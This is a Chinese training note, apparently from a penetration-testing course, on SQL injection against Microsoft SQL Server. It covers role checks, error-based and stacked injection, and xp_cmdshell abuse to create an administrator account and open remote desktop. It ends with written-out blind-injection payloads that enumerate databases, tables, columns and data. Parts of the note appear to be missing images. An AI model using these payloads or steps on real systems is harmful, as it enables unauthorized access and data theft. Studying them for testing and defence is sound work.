微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

DAY8:SQL注入7-SQLserver

一、MSsql基本使用 1. 增删改查

 

 

  二、MSsql权限控制 1. MSsql角色

*****服务器认的public角色的权限是最低的

*****MysqL只涉及了数据库权限,要么是有最高数据库权限的root账号,要么是没有数据库最高权限的非root账号   2. sqlserver里面的数据库级别设置

含义:

 

 

3. 固定服务器角色(sysadmin简称sa,是服务器角色的最高权限)

判断服务器角色是否为sysadmin,是返回1,不是返回0 select is_srvrolemember('sysadmin')   4. 固定数据库角色(db_owner是数据库角色的最高权限)

判断数据库角色是否为db_owner,是返回1,不是返回0 select is_member('db_owner')   5. 权限控制扩展 https://docs.microsoft.com/zh-cn/sql/relational-databases/security/authentication-access/getting-started-with-database-engine-permissions?view=sql-server-2017 https://blog.csdn.net/johnf_nash/article/details/80224188     三、MSsql注入 1. MSsql手工注入 这里--后面不用加空格,直接表示注释 判断堆叠注入后面可以接任意语句,若页面正常返回则支持 以下方法用的是报错注入,若无报错则不能用此方法

quotename()函数将结果转换为字符型

sys和dbo认可以省略,但最好还是加上,若省略则是两个点

 

 

2. 获取数据库版本,利用的是报错注入

windows NT 5.2即windows server 2003   3. 常用视图

 

 

4. 扩展存储过程

*****重点了解xp_cmdshell,只有sa权限可以调用xp_cmdshell

 

 

5. 检测与恢复扩展存储

新增用户ichunqiu并添加到administrators用户组 然后可以通过3389端口用新建的账号远程连接服务器 若服务器未开放3389端口,则再次调用xp_cmdshell执行命令开启3389端口   6. 检测SP_MAKEWEBTASK(备份功能

差异备份/完整备份,不需要sa权限   7. 其他扩展存储

 

 

8. 课后阅读 MSsql注入方式进阶 https://www.waitalone.cn/sqlserver-inject-skills.html https://www.freebuf.com/articles/web/55577.html MSsql注入总结 https://blog.51cto.com/maxvision/1691962 MSsql报错注入 http://blog.nsfocus.net/mssql-order-by/ MSsql union注入 https://www.cnblogs.com/mynona/p/3622863.html MSsql的union注入时,每一列的类型要相同,若不知道类型就用null MSsql盲注 ①查数据库个数 and (select count(name) from master.sys.databases)=7 ②查当前数据库名 and ascii(substring((db_name()),1,1))>48 ③查所有数据库名 and ascii(substring((select name from master.dbo.sysdatabases where dbid=1),1,1))>48 and ascii(substring((select top 1 name from master.dbo.sysdatabases where name not in ('第一个库名', '第二个库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56 ④查表名 and ascii(substring((select top 1 name from 数据库名.sys.sysobjects where xtype = 'U' and name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9 ⑤查列名 and ascii(substring((select top 1 name from 数据库名.sys.syscolumns where id=(select id from 数据库名.sys.sysobjects where xtype='U' and name='表名') and name not in ('第一个列名')),N,1)) >= 65 ⑥获取数据 and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

 

   

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐